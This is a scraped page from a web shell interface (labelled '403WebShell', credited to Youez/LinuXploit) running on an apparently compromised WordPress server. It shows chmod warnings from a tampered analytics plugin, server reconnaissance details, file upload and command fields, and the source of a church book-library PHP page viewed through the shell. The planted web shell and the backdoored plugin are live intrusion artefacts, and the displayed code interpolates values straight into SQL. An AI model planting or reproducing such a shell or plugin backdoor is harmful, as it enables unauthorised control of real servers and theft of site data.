Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/_oldsite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/_oldsite/book.php
<?php

	require './inc/include.php';
	require "$BASE/inc/inc.titlelist.php";
	require "$BASE/inc/inc.createthumb.php";
	

	$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
	$group = isset($_GET['g']) ? intval($_GET['g']) : 0;
	$pg = isset($_GET['pg']) ? intval($_GET['pg']) : 1;
	
	$DATABASE->Open();

	$authorlist = GenerateAuthorlist();
	
	$FIELDDEFS1 = array('bt_id' => array('opt' => INP_HIDDEN),
				 'bt_title' => array('opt' => INP_STRING | INP_REQUIRED, 'lbl' => '&Title', 'sz' => 255, 'wd' => 50),
				 'bt_author1' => array('opt' => INP_SELECT, 'lbl' => '&Primary Author', 'list' => $authorlist),
				 'bt_author2' => array('opt' => INP_SELECT, 'lbl' => '&Additional Author', 'list' => $authorlist),
				 '__file' => array('opt' => INP_FILE, 'lbl' => '&Cover Image (200 x 250px)'),
				 'bt_purchase' => array('opt' => INP_CHECKBOX, 'lbl' => 'For P&urchase Only'),
				 'bt_private' => array('opt' => INP_CHECKBOX, 'lbl' => '&Keep Borrower details private'),
				 'bt_nonch' => array('opt' => INP_CHECKBOX, 'lbl' => 'Non-&Christadelphian author'),
				 );
	
	
	$GROUPS = ip_retrieveStockGroups();
	$title = 'Titles';

	if ($group) {
		$body = Page4_ShowTitles($group, $title);
		$pg = 999;
	} 

	if ($id && $pg == 1) $pg = 2;
	switch($pg) {
		case 1: 
			$body = Page1_SelectTitle($title);
			break;
		case 2:
			if ($USERID == '') {
				$body = Page2_ViewTitle($id, $title);
			} else {
				$errcount = ifp_PrepareData($DATA, "select * from dt_title where bt_id=$id", 'dt_title', $FIELDDEFS1);
				DatabaseError();
				if ($operation == 'save changes' && !$errcount) {
					Post3_saveDetails($id, $DATA);
				}
				$body = Page3_EditTitle($id, $title, $DATA);
			}
			break;
		case 4:
			if ($USERID != '') {
				Page4_DeleteTitle($id);
				$DATABASE->Close();
				exit;
			} else {
				$body = 'Access Denied.';
			}
			break;
		case 5:
			if ($USERID != '') {
				Page5_RemoveImage($id);
				$DATABASE->Close();
				exit;
			}
	}

	$DATABASE->Close();

	echo page_header($title);
	echo "<h2>$title</h2>$body";
	echo page_footer();
	exit;

function Page2_ViewTitle($id, &$title) {
	global $DATABASE, $stockgroup;
$sql = <<<BLOCK
select a1.ba_name as ba_name1,a2.ba_name as ba_name2,bt_id,bt_title,bt_private,bt_cover,bt_dim
  from dt_title 
  left outer join dt_author as a1 on a1.ba_id=bt_author1
  left outer join dt_author as a2 on a2.ba_id=bt_author2
  where bt_id=$id
BLOCK;

	$data = $DATABASE->Lookup($sql);
	DatabaseError();
	$author = ip_AsTitle($data, 0);
	$title = $data['bt_title'];

// display book summary
// Look up all the books with this title, display locations


	$dtitle = ip_quote($title);		// $title = book title
	$dauthor = ip_quote($author);
	$footer = common_availabilityFooter($id);
	
	if ($dauthor != '') {
$dauthor = <<<BLOCK

<tr><td><span class="size1">Author</span></td></tr>
<tr class="r0"><td>$dauthor</td></tr>
BLOCK;
	}

	$result = <<<BLOCK
<table border="0" width="100%" cellspacing="0" cellpadding="2">
<tr><td><span class="size1">Title</span></td></tr>
<tr class="r0"><td>$dtitle</td></tr>$dauthor
<tr><td><span class="size1">Product Type</span></td></tr>
<tr class="r0"><td>$stockgroup</td></tr>
</table>

BLOCK;
	$result = common_insert_image($id, $data, $result);
	
return <<<BLOCK
$result
<tr><td colspan="4" align="right">
&nbsp;<br>
<a href="#">reserve a copy</a> (not working) | <a href="?">select another title</a>
</td></tr>
</table>
<br>
$footer

BLOCK;

}

function common_insert_image($id, &$data, $initialtable) {		// initialtable should be a table - starting with <table> tag
	$cover = isset($data['bt_cover']) ?  $data['bt_cover'] : '';
	if ($cover != '') {
		$dim = unserialize($data['bt_dim']);
		$wd = intval($dim['wd'] / 2); $ht = intval($dim['ht'] / 2);
		$wd2 = $wd + 10;
		$initialtable = <<<BLOCK
<table border="0" width="100%" cellspacing="0" cellpadding="2">
<tr><td valign="top">$initialtable</td>
<td width="$wd2" style="text-align: center; vertical-align: middle;">
<a href="/fullsize.php?id=$id"><img src="/inc/image.php?id=$id" width="$wd" height="$ht" alt="cover" border="0"></a>
</td></tr>
</table>
BLOCK;
	}
	
	return $initialtable;
}

function common_availabilityFooter($id) {
	global $stockgroup;
	$stockgroup = '(unknown)';
	$locationinfo = GetBookStatus($id);
	$dlocationinfo = ShowBookStatus($locationinfo, $id);
	
	if (count($locationinfo) > 0 && $locationinfo[0][0] == 2) {
		$stockgroup = $locationinfo[0][1]['gdesc'];
	}

	return <<<BLOCK
<h2>Availability</h2>
<table border="0" width="100%" cellspacing="0" cellpadding="2">
<tr><td>#ID</td><td>Location</td><td>Due Date</td><td align="right">Price</td></tr>
$dlocationinfo
<tr><td colspan="4" align="left">
<p>If you would like to purchase a copy of this title, please click on the appropriate #ID link to add it to the cart.</p></td></tr>
</table>
BLOCK;

}

function Post3_saveDetails($id, &$DATA) {
	global $DATABASE, $BASE_URL, $THIS_URL, $FIELDDEFS1, $VARIABLE;
	$newrec = !$DATA['__existing'] || !$id;
	if ($newrec) {
		$id = $VARIABLE['bt_id'] = ip_GetRandomID('dt_title', 'bt_id');
		$DATA['bt_review'] = $DATA['bt_cover'] = $DATA['bt_isbn'] = '';
		$DATA['bt_publisher'] = $DATA['bt_lastsell'] = $DATA['bt_nonch'] = 0;
	}
	if (!isset($DATA['bt_author1'])) $DATA['bt_author1'] = 0;
	if (!isset($DATA['bt_author2'])) $DATA['bt_author2'] = 0;
	$author1 = isset($VARIABLE['bt_author1']) ? intval($VARIABLE['bt_author1']) : $DATA['bt_author1'];
	$author2 = isset($VARIABLE['bt_author2']) ? intval($VARIABLE['bt_author2']) : $DATA['bt_author2'];
	$VARIABLE['bt_author2'] = $author2;
	$VARIABLE['bt_author1'] = $author1;
	if (ifp_SaveChanges($DATA, $FIELDDEFS1)) {				// all saved, so redisplay
		ictp_AttachUploadedImage($id, '__file');
		DatabaseError();
		header("Location: http://$BASE_URL?pg=2&id=$id");
		$DATABASE->Close();
		exit;
	}
	DatabaseError();
}

function Page3_EditTitle($id, &$title, &$DATA) {
	global $FIELDDEFS1, $operation, $BASE_URL, $VARIABLE;
	$newrec = !$DATA['__existing'] || !$id;
	$title = ($newrec)? 'Add New Title' : 'Edit Title';
	if ($newrec) {
		$extras = $footer = '';
	} else {
		$extras = common_availabilityFooter($id);
		$footer = <<<BLOCK
<tr><td><a href="?">select another title</a> | <a href="?pg=2&amp;id=0">add new title</a> |
<a href="?pg=4&amp;id=$id" onclick="return confirm('are you sure you wish to delete this title?');">delete title</a> |
<a href="?pg=5&amp;id=$id" onclick="return confirm('are you sure you wish to remove the cover image?');">remove image</a> </td></tr>
BLOCK;
	}
	$text = ifp_GeneratePage($FIELDDEFS1);
	$text = <<<BLOCK
<table border="0">
$text
<tr><td align="right"><input type="submit" name="s" value="  save changes  "></td></tr>
$footer
</table>

BLOCK;

	$text = common_insert_image($id, $DATA, $text);

	return <<<BLOCK
<form method="post" action="http://$BASE_URL?pg=2&amp;id=$id" name="f" enctype="multipart/form-data">
$text
</form>
$extras
<script type="text/javascript">
document.f.bt_title.focus();
</script>
BLOCK;

}

function Page1_SelectTitle(&$title) {
	global $BASE_URL, $VARIABLE, $USERID;
	$text = itp_SelectTitle();

$VARIABLE['javascript'] .= <<<BLOCK
function keydown(e) {
	var key = e? e.which: window.event.keyCode;
	if (key == 32 || key == 13) {
		document.f.submit();
		return false;
	}
	return true;
}

document.onkeypress = keydown;
BLOCK;

	if ($USERID == '') {
		$intro = 'Please select a title from the list below.';
	} else {
		$intro = <<<BLOCK
<p>You can have more than one copy (book) of any given title. Titles are entered here</p>
<p>Please select an existing title from the list below, or <a href="?pg=2&amp;id=0">enter a new title</a>.</p>
BLOCK;
	}

	return <<<BLOCK
<p>$intro</p>
<form method="get" action="http://$BASE_URL" name="f"><table border="0">
$text
<tr><td align="right"><input type="hidden" name="pg" value="2"><input type="submit" value="   view details   "></td></tr>
</table></form>
<script type="text/javascript"> document.f.id.focus(); </script>

BLOCK;

}

function __sorting($a, $b) {
	$a = strtolower($a[0]);
	$b = strtolower($b[0]);
	if ($a == $b) return 0;
	return ($a < $b) ? -1 : 1;
}

function Page4_ShowTitles($group, &$title) {
	global $DATABASE, $GROUPS;
	$sql = <<<BLOCK
select a1.ba_name as ba_name1,a2.ba_name as ba_name2,bt_id,bt_title,bt_private,
      bt_nonch,bt_dim
  from dt_stock
  left outer join dt_title on ds_title=bt_id
  left outer join dt_author as a1 on a1.ba_id=bt_author1
  left outer join dt_author as a2 on a2.ba_id=bt_author2
  where ds_group=$group
  group by ds_title
BLOCK;

	$res = $DATABASE->Query($sql, '__titlesbygroup', array());
	DatabaseError();

	uasort($res, '__sorting');
	$title = isset($GROUPS[$group]) ? $GROUPS[$group] : '(unknown)' ;
	
	$output = '';
	$i = 0;
	foreach ($res as $key => $node) {
		$desc = $node[0];
		$app = ' ';
		if ($node[1]) $app .= '&#8224;';
		if ($node[2]) $app .= "<a href=\"/fullsize.php?id=$key\">&#8962;</a>";
		
		$j = $i % 2; $i++;
		if ($app == ' ') $app = '';
		$line = "<td><a href=\"?id=$key\">$desc</a>$app</td>";
		$output .= "<tr class=\"r$j\">$line</tr>\n";
	}
	
	return <<<BLOCK
	
<table border="0" cellspacing="0" cellpadding="2" width="95%">
$output
</table>
BLOCK;

}

function __titlesbygroup(&$ITEM, &$param) {
	$param[$ITEM['bt_id']] = array(ip_AsTitle($ITEM, 2), $ITEM['bt_nonch'], $ITEM['bt_dim']);
	return 0;
}

function __authorlist(&$ITEM, &$param) {
	$param[$ITEM['ba_id']] = $ITEM['ba_name'];
	return 0;
}

function GenerateAuthorlist() {
	global $DATABASE;
	$sql = 'select ba_id,ba_name from dt_author order by ba_name';
	$res = $DATABASE->Query($sql, '__authorlist', array('' => 'please select an author'));
	DatabaseError();
	return $res;
}

function Page4_DeleteTitle($id) {
	global $DATABASE, $BASE_URL;
	$DATABASE->Delete('dt_title', $id);
//	$DATABASE->Query("delete from dt_title where bt_id=$id", '', 0);
	header("Location: http://$BASE_URL");
}

function Page5_RemoveImage($id) {
// return to current title
	global $DATABASE, $BASE_URL;
	$DATABASE->Query("update dt_title set bt_dim='',bt_cover='' where bt_id=$id", '', 0);
	DatabaseError();
	header("Location: http://$BASE_URL?pg=2&id=$id");
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit